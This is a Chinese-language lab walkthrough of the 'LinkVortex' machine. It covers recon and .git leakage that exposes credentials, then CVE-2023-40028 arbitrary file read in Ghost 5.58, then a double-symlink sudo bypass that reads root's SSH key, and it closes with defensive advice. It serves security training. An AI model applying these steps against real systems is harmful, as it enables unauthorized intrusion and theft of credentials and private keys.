[Meachines] [Easy] LinkVortex Git leakage+Ghost 5.58+Double Link Bypass权限提升
字数 1240 2025-08-22 12:23:41
LinkVortex 渗透测试实战教学文档
1. 信息收集阶段
1.1 初始扫描
使用Nmap进行初始端口扫描:
nmap -p- 10.10.11.47 --min-rate 1000 -sC -sV
发现开放端口:
- 22/tcp: OpenSSH 8.9p1 Ubuntu 3ubuntu0.10
- 80/tcp: Apache httpd (重定向到linkvortex.htb)
1.2 主机文件配置
将目标IP与域名关联:
echo '10.10.11.47 linkvortex.htb' >> /etc/hosts
1.3 目录爆破
使用feroxbuster进行目录扫描:
feroxbuster --url http://linkvortex.htb
1.4 子域名枚举
使用ffuf进行子域名枚举:
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://linkvortex.htb -H "Host:FUZZ.linkvortex.htb" -ac
发现dev子域名后,更新hosts文件:
echo '10.10.11.47 dev.linkvortex.htb' >> /etc/hosts
1.5 网站技术识别
使用whatweb识别网站技术:
whatweb http://linkvortex.htb/ -v
2. Git泄漏利用
2.1 发现Git泄漏
在dev子域名发现.git目录:
http://dev.linkvortex.htb/.git/
2.2 使用GitHack工具
使用GitHack工具下载.git目录内容:
python3 GitHack.py -u "http://dev.linkvortex.htb/.git/"
2.3 搜索敏感信息
在下载的文件中搜索密码:
grep -iR password dev.linkvortex.htb -C 1
在Dockerfile.ghost中发现管理员凭据:
username: admin@linkvortex.htb
password: OctopiFociPilfer45
3. Ghost CMS漏洞利用 (CVE-2023-40028)
3.1 漏洞概述
Ghost 5.58存在任意文件读取漏洞(CVE-2023-40028)
3.2 使用漏洞利用脚本
下载并运行漏洞利用脚本:
./exp -u 'admin@linkvortex.htb' -p 'OctopiFociPilfer45' -h 'http://linkvortex.htb'
3.3 读取关键文件
读取/etc/passwd文件:
Enter the file path to read: /etc/passwd
读取Ghost配置文件获取更多凭据:
Enter the file path to read: /var/lib/ghost/config.production.json
发现新用户凭据:
username: bob@linkvortex.htb
password: fibber-talented-worth
获取用户flag:
User.txt: d8c2977c5710a5238d6dce63b684a6d8
4. 权限提升:双链接绕过
4.1 检查sudo权限
检查当前用户的sudo权限:
sudo -l
发现可以以root权限执行/opt/ghost/clean_symlink.sh脚本
4.2 分析clean_symlink.sh脚本
脚本功能分析:
- 定义隔离目录:
QUAR_DIR="/var/quarantined" - 检查传入的文件是否是PNG文件
- 检查是否是符号链接
- 如果链接指向/etc或/root目录,则删除链接
- 否则将链接移动到隔离目录
- 如果CHECK_CONTENT=true,则显示文件内容
4.3 利用思路
利用双链接绕过限制:
- 创建第一个链接指向EXP文件
- 创建第二个链接指向目标文件(如/root/.ssh/id_rsa)
- 利用CHECK_CONTENT=true读取文件内容
4.4 具体步骤
- 创建链接结构:
rm ~/Bypass.png ~/EXP
ln -s ~/EXP ~/Bypass.png
ln -s /root/.ssh/id_rsa ~/EXP
- 执行脚本读取root私钥:
sudo CHECK_CONTENT=true /usr/bin/bash /opt/ghost/clean_symlink.sh /home/bob/Bypass.png
- 使用获取的私钥登录root:
ssh -i id_rsa root@10.10.11.47
- 获取root flag:
Root.txt: 46d894d7d778a734ebd0d27acb77efe8
5. 关键知识点总结
- Git泄漏:暴露的.git目录可能导致源代码和敏感信息泄露
- Ghost CMS漏洞:CVE-2023-40028允许认证用户读取任意文件
- 符号链接绕过:通过创建多层符号链接可以绕过安全检查
- 环境变量利用:通过控制环境变量可以改变程序行为
- 权限提升技巧:利用sudo权限执行脚本时的上下文环境进行提权
6. 防御建议
- 禁止.git目录的公开访问
- 及时更新CMS系统修补已知漏洞
- 限制sudo权限,避免不必要的高权限执行
- 对符号链接处理进行更严格的检查
- 敏感文件应设置严格的权限控制